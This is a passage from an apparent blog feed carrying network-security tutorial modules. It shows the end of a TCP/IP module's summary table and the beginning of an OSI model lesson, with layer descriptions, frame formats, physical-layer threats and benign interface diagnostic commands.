&lt;span class="nb"&gt;sudo &lt;/span&gt;sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.icmp_echo_ignore_broadcasts&lt;span class="o"&gt;=&lt;/span&gt;1   &lt;span class="c"&gt;# Disable broadcast ping response&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Topic&lt;/th&gt;
&lt;th&gt;Core Mechanism&lt;/th&gt;
&lt;th&gt;Attack Relevance&lt;/th&gt;
&lt;th&gt;Defence&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TCP/IP Model&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4-layer encapsulation&lt;/td&gt;
&lt;td&gt;Every attack traverses the stack&lt;/td&gt;
&lt;td&gt;Defence must cover all layers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TCP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reliable, ordered, connection-oriented byte stream&lt;/td&gt;
&lt;td&gt;SYN flood, session hijacking, RST injection, port scanning&lt;/td&gt;
&lt;td&gt;SYN cookies, stateful firewalls, randomised ISN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;UDP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Connectionless, unreliable, low overhead&lt;/td&gt;
&lt;td&gt;Amplification DDoS, IP spoofing, loose firewall bypass&lt;/td&gt;
&lt;td&gt;BCP38, rate limiting, stateful UDP tracking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TCP Handshake&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SYN→SYN-ACK→ACK establishes bidirectional ISN exchange&lt;/td&gt;
&lt;td&gt;SYN flood exploits half-open state&lt;/td&gt;
&lt;td&gt;SYN cookies defer state allocation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TCP Termination&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;FIN→ACK→FIN→ACK graceful close&lt;/td&gt;
&lt;td&gt;TIME_WAIT exhaustion, RST injection&lt;/td&gt;
&lt;td&gt;RST validation, TIME_WAIT tuning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TCP Internals&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sliding window, congestion control, keepalive&lt;/td&gt;
&lt;td&gt;Zero-window DoS, ACK throttling&lt;/td&gt;
&lt;td&gt;Tune keepalive, monitor window behaviour&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IPv4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;32-bit hierarchical addressing&lt;/td&gt;
&lt;td&gt;IP spoofing, ICMP attacks, fragmentation attacks&lt;/td&gt;
&lt;td&gt;BCP38, fragment reassembly at border&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Special ranges&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RFC1918, APIPA, loopback, multicast&lt;/td&gt;
&lt;td&gt;AWS metadata (169.254.169.254) SSRF, internal recon&lt;/td&gt;
&lt;td&gt;Firewall cloud metadata endpoints&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CIDR/Subnetting&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Variable-length prefix for network/host split&lt;/td&gt;
&lt;td&gt;Network enumeration, scope determination&lt;/td&gt;
&lt;td&gt;Minimal subnet sizes, VLAN isolation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NAT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Port-based translation of private to public IP&lt;/td&gt;
&lt;td&gt;Hides internal network topology, C2 bypasses NAT&lt;/td&gt;
&lt;td&gt;Logging NAT translations for forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IPv6&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;128-bit addressing, NDP, multicast-based&lt;/td&gt;
&lt;td&gt;Rogue RA attacks, NDP spoofing, bypasses IPv4-only security&lt;/td&gt;
&lt;td&gt;RA Guard, dual-stack firewalling, disable unused IPv6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ICMP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Network diagnostic and error reporting&lt;/td&gt;
&lt;td&gt;Ping of Death, Smurf, ICMP redirect, ICMP tunnel&lt;/td&gt;
&lt;td&gt;Drop/rate-limit ICMP, disable redirects, detect large payloads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ARP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;L2 IP-to-MAC resolution, no authentication&lt;/td&gt;
&lt;td&gt;ARP poisoning → MITM → intercept plaintext protocols&lt;/td&gt;
&lt;td&gt;DAI, arpwatch, 802.1X, static critical entries&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-1.4-ip-addressing-subnetting.md"&gt;Stage 1.4 — IP Addressing and Subnetting&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-1.2-osi-model.md"&gt;Stage 1.2 — OSI Model&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>bytewallacademy</category>
      <category>tcp</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Stage 1.2 — The OSI Model</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Mon, 01 Jun 2026 04:17:03 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-12-the-osi-model-jhj</link>
      <guid>https://dev.to/rencberakman/stage-12-the-osi-model-jhj</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.2 — The OSI Model&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1.1 — Network Concepts&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 1.3 — TCP/IP Model&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why the OSI Model Is the Security Professional's Mental Framework&lt;/li&gt;
&lt;li&gt;OSI Model Overview — The Seven Layers&lt;/li&gt;
&lt;li&gt;Layer 1 — Physical&lt;/li&gt;
&lt;li&gt;Layer 2 — Data Link&lt;/li&gt;
&lt;li&gt;Layer 3 — Network&lt;/li&gt;
&lt;li&gt;Layer 4 — Transport&lt;/li&gt;
&lt;li&gt;Layer 5 — Session&lt;/li&gt;
&lt;li&gt;Layer 6 — Presentation&lt;/li&gt;
&lt;li&gt;Layer 7 — Application&lt;/li&gt;
&lt;li&gt;Encapsulation and Decapsulation — The Full Picture&lt;/li&gt;
&lt;li&gt;OSI vs TCP/IP — Where Theory Meets Reality&lt;/li&gt;
&lt;li&gt;Attacking Across the Stack — Layer-by-Layer Threat Map&lt;/li&gt;
&lt;li&gt;OSI in OT/ICS Environments&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why the OSI Model Is the Security Professional's Mental Framework
&lt;/h2&gt;

&lt;p&gt;Every security tool you will ever use operates at one or more specific layers of the OSI model. Every attack targets one or more specific layers. Every defence protects one or more specific layers. The moment you internalise OSI, you gain the ability to think about any network interaction — attack, defence, or forensics — with structural precision.&lt;/p&gt;

&lt;p&gt;Without OSI, security concepts become a disconnected list of techniques to memorise. With OSI, every technique has a logical home. You stop memorising and start reasoning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete examples of why this matters in practice:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When an alert fires in your SIEM saying "suspicious DNS traffic," you immediately know: DNS is Application Layer (L7). The alert is about behaviour at L7. The traffic still had to cross L1-L6 to get there. You know to check: is this DNS tunnelling (L7 data being abused to exfiltrate data)? Is the DNS server reachable only because a firewall rule was misconfigured at L3? Did an ARP poisoning attack at L2 redirect the DNS query to a rogue resolver?&lt;/p&gt;

&lt;p&gt;When a penetration tester reports "VLAN hopping vulnerability," you immediately know: VLANs are L2. The attack abuses how switches handle 802.1Q tagging at L2 to reach network segments that should be logically separated.&lt;/p&gt;

&lt;p&gt;When a blue teamer says "we need to implement TLS inspection," you immediately know: TLS is L6 (Presentation). Inspection requires terminating the TLS session at the inspection appliance (L6 operation) and re-encrypting to the destination. This has specific forensic and privacy implications.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For OT/ICS environments:&lt;/strong&gt; Industrial protocols map to the OSI model just like IT protocols, but the mapping is often unusual and the security controls present at each layer are drastically fewer. A Modbus TCP transaction starts at L7 (the Modbus application protocol) but has no authentication at any layer. Understanding exactly which OSI layer provides (or fails to provide) security in an industrial network is the foundation of OT security assessment.&lt;/p&gt;

&lt;p&gt;The OSI model was published by ISO in 1984. It was designed as a theoretical framework for interoperability — not specifically for security. But its structure accidentally created the perfect mental model for security analysis, because it separates concerns with exactly the granularity that security work requires.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. OSI Model Overview — The Seven Layers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Stack
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────────────────────────────────┐
│  Layer 7 — Application    │ HTTP, HTTPS, DNS, SMTP, FTP,    │
│                           │ SMB, Modbus, DNP3, IEC 61850    │
├──────────────────────────────────────────────────────────────┤
│  Layer 6 — Presentation   │ TLS/SSL, JPEG, MPEG, ASCII,     │
│                           │ Base64, Encryption/Compression   │
├──────────────────────────────────────────────────────────────┤
│  Layer 5 — Session        │ NetBIOS, RPC, SQL sessions,     │
│                           │ TLS handshake (session setup)    │
├──────────────────────────────────────────────────────────────┤
│  Layer 4 — Transport      │ TCP, UDP, SCTP, QUIC            │
├──────────────────────────────────────────────────────────────┤
│  Layer 3 — Network        │ IPv4, IPv6, ICMP, IPSec,        │
│                           │ OSPF, BGP, ARP*                  │
├──────────────────────────────────────────────────────────────┤
│  Layer 2 — Data Link      │ Ethernet, Wi-Fi (802.11),       │
│                           │ ARP, VLAN (802.1Q), STP         │
├──────────────────────────────────────────────────────────────┤
│  Layer 1 — Physical       │ Copper, Fibre, Radio waves,     │
│                           │ Electrical signals, RS-485       │
└──────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 The Memory Device
&lt;/h3&gt;

&lt;p&gt;Two mnemonics used by every network professional. Learn both — they appear in different directions depending on context:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Top to Bottom (L7 → L1): "All People Seem To Need Data Processing"&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A&lt;/strong&gt;ll → Application (7)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;P&lt;/strong&gt;eople → Presentation (6)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;S&lt;/strong&gt;eem → Session (5)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;T&lt;/strong&gt;o → Transport (4)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;N&lt;/strong&gt;eed → Network (3)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;D&lt;/strong&gt;ata → Data Link (2)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;P&lt;/strong&gt;rocessing → Physical (1)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Bottom to Top (L1 → L7): "Please Do Not Throw Sausage Pizza Away"&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;P&lt;/strong&gt;lease → Physical (1)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;D&lt;/strong&gt;o → Data Link (2)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;N&lt;/strong&gt;ot → Network (3)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;T&lt;/strong&gt;hrow → Transport (4)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;S&lt;/strong&gt;ausage → Session (5)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;P&lt;/strong&gt;izza → Presentation (6)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A&lt;/strong&gt;way → Application (7)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.3 The Core Principle — Layer Independence
&lt;/h3&gt;

&lt;p&gt;Each layer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Provides services to the layer above it&lt;/li&gt;
&lt;li&gt;Uses services from the layer below it&lt;/li&gt;
&lt;li&gt;Communicates logically with the same layer on the remote device&lt;/li&gt;
&lt;li&gt;Does not care about the implementation details of other layers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This independence is both the power of the model and its security weakness. A layer cannot inherently verify that the layer below it is functioning correctly or hasn't been compromised. L7 application code assumes L4 is delivering data reliably. It does not verify that L2 hasn't been poisoned. This trust between layers is exploited constantly.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.4 PDU — Protocol Data Unit
&lt;/h3&gt;

&lt;p&gt;Each layer has a name for its unit of data:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;PDU Name&lt;/th&gt;
&lt;th&gt;Contains&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;7 — Application&lt;/td&gt;
&lt;td&gt;Data / Message&lt;/td&gt;
&lt;td&gt;Application payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6 — Presentation&lt;/td&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;Formatted/encrypted data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5 — Session&lt;/td&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;Session-managed data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 — Transport&lt;/td&gt;
&lt;td&gt;Segment (TCP) / Datagram (UDP)&lt;/td&gt;
&lt;td&gt;Port numbers + data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3 — Network&lt;/td&gt;
&lt;td&gt;Packet&lt;/td&gt;
&lt;td&gt;IP addresses + segment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2 — Data Link&lt;/td&gt;
&lt;td&gt;Frame&lt;/td&gt;
&lt;td&gt;MAC addresses + packet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 — Physical&lt;/td&gt;
&lt;td&gt;Bits&lt;/td&gt;
&lt;td&gt;Raw binary signal&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;When you look at a Wireshark capture, every packet is one of these PDUs. Knowing the terminology eliminates confusion when reading security documentation, CVE descriptions, and tool outputs.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Layer 1 — Physical
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 What Layer 1 Does
&lt;/h3&gt;

&lt;p&gt;Layer 1 is the medium. It defines how bits — ones and zeros — are physically transmitted between devices. It deals with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Signalling:&lt;/strong&gt; How a bit 1 is distinguished from a bit 0 on the medium. In copper Ethernet, voltage levels. In fibre, light pulses. In Wi-Fi, radio wave modulation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bit rate:&lt;/strong&gt; How many bits per second the medium can carry&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Physical connectors:&lt;/strong&gt; RJ-45 (Ethernet), LC/SC (fibre), SMA (coaxial/RF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cabling standards:&lt;/strong&gt; Cat5e, Cat6, Cat6a, single-mode fibre, multi-mode fibre&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Signal encoding:&lt;/strong&gt; Manchester encoding, 4B/5B, PAM4 — how bits map to physical signals&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Layer 1 has no concept of addressing, error correction, or protocol. It simply converts bits into physical signals and physical signals back into bits.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Layer 1 Technologies
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Copper Ethernet (IEEE 802.3):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Cat5e:  1 Gbps  up to 100m
Cat6:   1 Gbps  up to 100m, 10 Gbps up to 55m
Cat6a:  10 Gbps up to 100m
Cat8:   40 Gbps up to 30m (data centre)

Connector: RJ-45 (8P8C)
Signalling: Differential voltage on twisted pairs
          1000BASE-T uses all 4 pairs simultaneously
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fibre Optic:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Multi-mode fibre (MMF):  
  OM3/OM4: 10 Gbps up to 300m (data centre, short runs)
  Orange/aqua jacket
  LED light source

Single-mode fibre (SMF):
  OS2: 10 Gbps up to 80km, 100 Gbps up to 40km
  Yellow jacket
  Laser light source
  Used for WAN, campus backbone, undersea cables
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Wireless (IEEE 802.11):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2.4 GHz band: longer range, more interference, slower
5 GHz band:   shorter range, less interference, faster
6 GHz band:   Wi-Fi 6E only, very short range, very fast

802.11n (Wi-Fi 4):  600 Mbps theoretical
802.11ac (Wi-Fi 5): 3.5 Gbps theoretical
802.11ax (Wi-Fi 6): 9.6 Gbps theoretical
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Industrial Physical Layer (OT/ICS):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RS-232:  Serial, point-to-point, ±12V signalling, up to 20 kbps
         Used for: legacy HMI/PLC connections, console ports on network devices

RS-485:  Serial, multi-drop bus, ±5V differential signalling, up to 10 Mbps
         Used for: Modbus RTU (the dominant industrial protocol)
         Up to 32 devices on one bus, up to 1200m

CAN bus: Controller Area Network, differential, up to 1 Mbps
         Used for: automotive, some industrial sensors

Profibus PA: 31.25 kbps, intrinsically safe for hazardous areas
             Used for: process automation field devices

4-20mA loop: Analogue, not digital — carries a current signal
             representing a physical measurement
             Still extremely common in field instrumentation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 Layer 1 Security Threats
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Physical Wiretapping:&lt;/strong&gt;&lt;br&gt;
Copper cables can be tapped by physically accessing the cable and connecting monitoring equipment. This does not require breaking the cable — a vampire tap or inductive coupler can intercept traffic without creating a visible break. Fibre is harder to tap without detection because bending fibre causes measurable light loss, but specialist equipment exists for covert fibre taps.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nation-state level physical tapping&lt;/strong&gt; is documented: the NSA's Room 641A at AT&amp;amp;T facilities, revealed in 2006, was a room that split fibre traffic for surveillance. The Snowden documents described submarine cable tap programmes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Signal Jamming:&lt;/strong&gt;&lt;br&gt;
Radio-frequency jamming disrupts wireless communications by overwhelming the signal with noise. Relevant for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Wi-Fi networks (denial of service at Layer 1)&lt;/li&gt;
&lt;li&gt;Industrial wireless sensor networks (Zigbee, WirelessHART, ISA100.11a)&lt;/li&gt;
&lt;li&gt;GPS jamming affecting time synchronisation (critical for power grid protection systems that rely on GPS-derived timestamps for phasor measurement)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Hardware Implants:&lt;/strong&gt;&lt;br&gt;
Nation-state actors have demonstrated hardware implants inserted into network cables and equipment that passively capture traffic. The ANT catalogue (Snowden documents) described implants including COTTONMOUTH (implanted in USB cables) and HALLUXWATER (firmware backdoor in Huawei routers).&lt;/p&gt;

&lt;p&gt;At an industrial level, the supply chain for PLC hardware, field instruments, and communication cards represents a physical layer attack surface that is rarely audited.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rogue Access Points:&lt;/strong&gt;&lt;br&gt;
Plugging an unauthorised device into a physical network port is a Layer 1 attack — it requires physical access but bypasses all logical security controls. Once connected, the rogue device has Layer 1 access equivalent to any legitimate device.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Power Analysis Side-Channel (covered in Stage 0.1):&lt;/strong&gt;&lt;br&gt;
Physical measurement of power consumption during cryptographic operations. Relevant to smart meters, smart cards, HSMs, and industrial devices.&lt;/p&gt;
&lt;h3&gt;
  
  
  3.4 Layer 1 in Practice
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check physical interface status on Linux&lt;/span&gt;
ip &lt;span class="nb"&gt;link &lt;/span&gt;show                        &lt;span class="c"&gt;# All interfaces and their states&lt;/span&gt;
ip &lt;span class="nb"&gt;link &lt;/span&gt;show eth0                   &lt;span class="c"&gt;# Specific interface&lt;/span&gt;
ethtool eth0                        &lt;span class="c"&gt;# Physical layer details: speed, duplex, link status&lt;/span&gt;

&lt;span class="c"&gt;# Example ethtool output:&lt;/span&gt;
&lt;span class="c"&gt;# Speed: 1000Mb/s&lt;/span&gt;
&lt;span class="c"&gt;# Duplex: Full&lt;/span&gt;
&lt;span class="c"&gt;# Link detected: yes&lt;/span&gt;
&lt;span class="c"&gt;# Port: Twisted Pair&lt;/span&gt;
&lt;span class="c"&gt;# Auto-negotiation: on&lt;/span&gt;

&lt;span class="c"&gt;# Check for physical errors (CRC errors, collisions indicate cabling issues)&lt;/span&gt;
ethtool &lt;span class="nt"&gt;-S&lt;/span&gt; eth0 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"error|drop|miss|crc"&lt;/span&gt;

&lt;span class="c"&gt;# On Windows:&lt;/span&gt;
&lt;span class="c"&gt;# Get-NetAdapter | Select-Object Name, Status, LinkSpeed, MediaType&lt;/span&gt;
&lt;span class="c"&gt;# netsh interface show interface&lt;/span&gt;

&lt;span class="c"&gt;# Wireless physical layer details&lt;/span&gt;
iwconfig wlan0                      &lt;span class="c"&gt;# Legacy wireless info&lt;/span&gt;
iw dev wlan0 info                   &lt;span class="c"&gt;# Modern wireless info&lt;/span&gt;
iw dev wlan0 &lt;span class="nb"&gt;link&lt;/span&gt;                   &lt;span class="c"&gt;# Current link quality, signal strength, noise&lt;/span&gt;

&lt;span class="c"&gt;# Signal strength is measured in dBm (decibel-milliwatts)&lt;/span&gt;
&lt;span class="c"&gt;# -30 dBm: excellent&lt;/span&gt;
&lt;span class="c"&gt;# -67 dBm: good (recommended minimum for voice/video)&lt;/span&gt;
&lt;span class="c"&gt;# -80 dBm: poor&lt;/span&gt;
&lt;span class="c"&gt;# -90 dBm: unusable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Physical security IS Layer 1 security. All logical security controls can be bypassed by an attacker with sufficient physical access. The reason secure facilities have strict physical access controls, cable management policies, and hardware inventory audits is that once physical access is granted, every layer above it is potentially compromised. In OT environments where control system cabinets may be in unmanned remote locations, this is existential.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  4. Layer 2 — Data Link
&lt;/h2&gt;
&lt;h3&gt;
  
  
  4.1 What Layer 2 Does
&lt;/h3&gt;

&lt;p&gt;Layer 2 is responsible for reliable transmission of data between two &lt;strong&gt;directly connected&lt;/strong&gt; devices. It does two things that Layer 1 cannot:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Framing:&lt;/strong&gt; Packages raw bits into structured frames with a beginning, end, source, and destination&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Error detection:&lt;/strong&gt; Detects (but usually not corrects) transmission errors using checksums&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Layer 2 introduces the concept of &lt;strong&gt;hardware addressing&lt;/strong&gt; — MAC addresses — which identify devices on the same network segment. Every NIC has a MAC address burned in at manufacturing time (though it can be overridden in software).&lt;/p&gt;

&lt;p&gt;Layer 2 is bounded by network devices that operate at L2: &lt;strong&gt;switches&lt;/strong&gt; and &lt;strong&gt;bridges&lt;/strong&gt;. A packet crossing a switch stays within the same Layer 2 domain. A packet crossing a router leaves one Layer 2 domain and enters another.&lt;/p&gt;
&lt;h3&gt;
  
  
  4.2 Ethernet Frame Deep Dive
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Ethernet II Frame:
 ┌──────────┬──────────┬───────────┬──────────────────────┬──────────┐
 │ Dst MAC  │ Src MAC  │ EtherType │       Payload        │   FCS    │
 │ 6 bytes  │ 6 bytes  │  2 bytes  │   46 - 1500 bytes    │ 4 bytes  │
 └──────────┴──────────┴───────────┴──────────────────────┴──────────┘

EtherType values (critical for security — identifies L3 protocol):
  0x0800 → IPv4
  0x0806 → ARP
  0x86DD → IPv6
  0x8100 → 802.1Q VLAN tagged frame
  0x8847 → MPLS
  0x88CC → LLDP (Link Layer Discovery Protocol)
  0x88E1 → HomePlug AV (powerline networking)
  0x88F7 → PTP (Precision Time Protocol — used in OT time synchronisation)
  0x88BA → IEC 61850 GOOSE
  0x88CD → IEC 61850 SAMPLED VALUES

FCS: Frame Check Sequence
  CRC-32 checksum over the entire frame
  Calculated by sender, verified by receiver
  A frame with a bad FCS is discarded silently
  High FCS error rates indicate physical layer problems (bad cable, interference)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;802.1Q VLAN Tagging:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Standard Ethernet II:
 [Dst MAC][Src MAC][EtherType][Payload][FCS]

802.1Q Tagged Frame:
 [Dst MAC][Src MAC][0x8100][TCI][EtherType][Payload][FCS]
                    ──────  ───
                    Tag     Tag Control Information
                    Protocol  ├── PCP: Priority Code Point (QoS, 3 bits)
                    Identifier├── DEI: Drop Eligible Indicator (1 bit)
                              └── VID: VLAN ID (12 bits, 0-4095)

VLAN 0:    Reserved
VLAN 1:    Default VLAN (most switches, traffic not explicitly tagged)
VLAN 4094: Often used for management
VLAN 4095: Reserved
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Switches — The Core L2 Device
&lt;/h3&gt;

&lt;p&gt;A switch builds and maintains a &lt;strong&gt;MAC address table&lt;/strong&gt; (also called CAM table — Content Addressable Memory). When a frame arrives:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Switch reads source MAC → adds to MAC table with the incoming port&lt;/li&gt;
